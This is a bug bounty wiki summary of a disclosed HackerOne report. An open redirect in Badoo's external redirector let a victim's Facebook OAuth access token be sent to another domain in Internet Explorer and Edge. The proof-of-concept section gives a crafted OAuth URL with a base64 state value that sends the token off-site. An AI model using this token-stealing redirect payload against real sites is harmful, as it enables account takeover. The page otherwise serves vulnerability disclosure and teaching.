Open redirect helps to steal Facebook access_token
The Badoo redirector endpoint accepted a base64-encoded URL that, when decoded, formed a URL valid only in Internet Explorer and Edge (e.g., a domain followed by a dot and another domain). Because Facebook appends the access token to the redirect_uri, an attacker could craft a link that sent the victim's Facebook access token to an attacker-controlled domain.
Originally disclosed on HackerOne
- Triaged in 3 hours
- Fixed in 4 days
- Paid in 3 hours
- Disclosed after 22 months
Description
https://badoo.com/external/redirector.phtml is the endpoint used when authenticating using external services. This endpoint accepts the parameter state which is a base64 encoded URL. The URL can't be like http://google.com/, but it can be like http://google.com%2f.badoo.com/ which is a valid URL for Internet Explorer (11 and Edge).
The problem is that Facebook redirects to the value of redirect_uri even if the URL contains parameters (like ?parameter=value), which is not the case with Google. So, for instance you can send the access_token returned from Facebook to any domain that you control.
Proof of concept
- Using a user that already linked the account with Facebook, go to https://www.facebook.com/v2.2/dialog/oauth?response_type=token&display=popup&client_id=107433747809&redirect_uri=https%3A%2F%2Fbadoo.com%2Fexternal%2Fredirector.phtml%3fstate%3daHR0cHM6Ly93d3cuZ29vZ2xlLmNvbSUyZi5iYWRvby5jb20v
- You are redirected to https://www.google.com/.badoo.com/#access_token=[user_access_token]&expires_in=[number].
This issue is only reproducible on Internet Explorer 11 and Edge. I tested on both using a Windows 10 installation with latest updates. I hope the explanation is clear. Please, let me know if you need more information or a better proof of concept.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the redirector validated the decoded URL insufficiently, allowing a URL that is valid in some browsers (domain followed by a dot and another domain) to pass, and Facebook appended the token to that redirect_uri.
Impact
An attacker could steal a victim's Facebook access token, but the attack only works on Internet Explorer 11 and Edge.
What the attacker needed
Victim uses Internet Explorer 11 or Edge; victim has linked their account with Facebook; victim clicks a crafted link
How it was found
- Use a user account that is already linked with Facebook.
- Open the crafted Facebook OAuth dialog URL with the redirect_uri pointing to Badoo's redirector and a state parameter containing the base64-encoded malicious URL.
- Facebook redirects to the Badoo redirector, which then redirects to the attacker's domain with the access token in the fragment.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you log in with Facebook, Facebook sends you back to the website you came from, and it includes a special code (the access token) in the web address. This report shows that the website's redirect page could be tricked into sending that code to a different website, but only if you use Internet Explorer or Edge. The attacker just needs to get you to click a prepared link.
What is Open redirect?
A trusted site forwards users to any address an attacker picks; rarely paid alone, often the missing link in a chain.